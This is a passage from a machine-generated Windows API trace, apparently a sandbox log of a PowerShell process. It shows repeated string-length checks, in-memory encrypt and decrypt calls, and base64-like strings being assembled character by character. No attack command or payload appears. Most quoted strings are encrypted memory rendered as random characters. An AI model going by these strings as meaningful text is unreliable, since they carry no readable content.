SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtED徶劷䙳") returned 0x20 [0257.121] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈颡ዸَ㌍몮맃企") returned 0x20 [0257.121] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈颡ዸَ㌍몮맃企") returned 0x20 [0257.121] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO劷䙳") returned 0x20 [0257.121] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈鿤坟ᕷ௰쏉䁙Ň긡") returned 0x20 [0257.121] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈鿤坟ᕷ௰쏉䁙Ň긡") returned 0x20 [0257.121] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO5䙳") returned 0x20 [0257.121] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.121] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꢝ嬜䈁콞尾檋") returned 0x20 [0257.122] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꢝ嬜䈁콞尾檋") returned 0x20 [0257.122] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.122] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58") returned 0x20 [0257.122] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0257.122] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘") returned 0x20 [0257.122] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘") returned 0x20 [0257.122] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘") returned 0x20 [0257.122] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘") returned 0x28 [0257.122] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.123] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58y젹흪闥〷ꗝ泤띣") returned 0x28 [0257.123] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.123] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ሩ齅䘾턇⿭뫯") returned 0x28 [0257.123] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ሩ齅䘾턇⿭뫯") returned 0x28 [0257.123] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.123] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58yS흪闥〷ꗝ泤띣") returned 0x28 [0257.123] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.123] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘\xfdd6函蝃㿈脔篕䨠䩎") returned 0x28 [0257.123] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘\xfdd6函蝃㿈脔篕䨠䩎") returned 0x28 [0257.123] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.123] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE闥〷ꗝ泤띣") returned 0x28 [0257.123] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.124] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘릊㹌ྌ죌肾὚") returned 0x28 [0257.124] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘릊㹌ྌ죌肾὚") returned 0x28 [0257.124] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.124] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2〷ꗝ泤띣") returned 0x28 [0257.124] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.124] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ᾫꭀ䱯ἠ웇酙") returned 0x28 [0257.124] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ᾫꭀ䱯ἠ웇酙") returned 0x28 [0257.124] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.124] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2sꗝ泤띣") returned 0x28 [0257.124] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘穴៪\寚撳揾龳侰∧) returned 0x28 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘穴៪\寚撳揾龳侰∧) returned 0x28 [0257.125] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.125] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2so泤띣") returned 0x28 [0257.125] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ᤶᗴ驍ࡁሌ飠闚") returned 0x28 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘ᤶᗴ驍ࡁሌ飠闚") returned 0x28 [0257.125] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.125] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2sox띣") returned 0x28 [0257.125] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘㵩䡎–瘇\苙턙썼≺) returned 0x28 [0257.125] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘㵩䡎–瘇\苙턙썼≺) returned 0x28 [0257.125] SystemFunction041 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.126] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2soxm") returned 0x28 [0257.126] SystemFunction040 (in: Memory=0x3afbec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afbec) returned 0x0 [0257.126] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄⊡) returned 0x28 [0257.126] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄⊡) returned 0x28 [0257.126] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄⊡) returned 0x28 [0257.126] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄⊡) returned 0x30 [0257.126] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2soxmu懞쎹䷅섏溱럚氃") returned 0x30 [0257.127] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄낡࣊饖㱞ଢ଼ɵ捻∳) returned 0x30 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄낡࣊饖㱞ଢ଼ɵ捻∳) returned 0x30 [0257.127] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2soxmuG쎹䷅섏溱럚氃") returned 0x30 [0257.127] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄튡ﾫ♪㺰噩㴰但⋬) returned 0x30 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄튡ﾫ♪㺰噩㴰但⋬) returned 0x30 [0257.127] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2soxmuGE䷅섏溱럚氃") returned 0x30 [0257.127] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄䚡氾ᘖ땧ផࠆ佱∿) returned 0x30 [0257.127] SysStringLen (param_1="䀴鶿໢쨑嗀ﯝ쟏⛃⃺㲲赡㸭┋쑗狷铊疹匩枷⇄譈ꇼꀃ⼫믘Ꭲᾗ穘邹奋듐䫠\꧘㣄䚡氾ᘖ땧ផࠆ佱∿) returned 0x30 [0257.127] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.128] SysStringLen (param_1="vFxJxdIlX7a7T/YrNrGcfShwIgtEDO58ySE2soxmuGE=섏溱럚氃") returned 0x30 [0257.128] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0257.128] EtwEventActivityIdControl () returned 0x0 [0257.128] EtwEventActivityIdControl () returned 0x0 [0257.128] EtwEventActivityIdControl () returned 0x0 [0257.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.129] EtwEventActivityIdControl () returned 0x0 [0257.129] EtwEventActivityIdControl () returned 0x0 [0257.129] EtwEventActivityIdControl () returned 0x0 [0257.129] SysStringLen (param_1="") returned 0x8 [0257.130] SysStringLen (param_1="N") returned 0x8 [0257.130] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.130] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.130] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0257.130] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.130] SysStringLen (param_1="ND") returned 0x8 [0257.130] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.130] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.130] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0257.130] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.130] SysStringLen (param_1="NDZ") returned 0x8 [0257.130] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.130] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.131] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0257.131] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.131] SysStringLen (param_1="NDZl") returned 0x8 [0257.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.131] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.131] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0257.131] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.131] SysStringLen (param_1="NDZlO") returned 0x8 [0257.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.131] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.131] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0257.131] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.131] SysStringLen (param_1="NDZlOD") returned 0x8 [0257.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.132] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.132] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0257.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.132] SysStringLen (param_1="NDZlODR") returned 0x8 [0257.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.132] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.132] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0257.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.132] SysStringLen (param_1="NDZlODRm") returned 0x8 [0257.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0257.132] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0257.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0257.133] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.133] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.133] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.133] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0257.133] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.134] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0257.134] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0257.134] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.134] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0257.134] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0257.134] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.134] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0257.134] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0257.135] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.135] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0257.135] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0257.135] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.135] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0257.135] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0257.135] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.136] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0257.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0257.136] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.136] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0257.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0257.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0257.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0257.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.137] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0257.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0257.137] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.137] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0257.137] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0257.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.138] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0257.138] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0257.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.138] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0257.138] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0257.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0257.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0257.139] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0257.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0257.139] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0257.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0257.140] SysStringLen 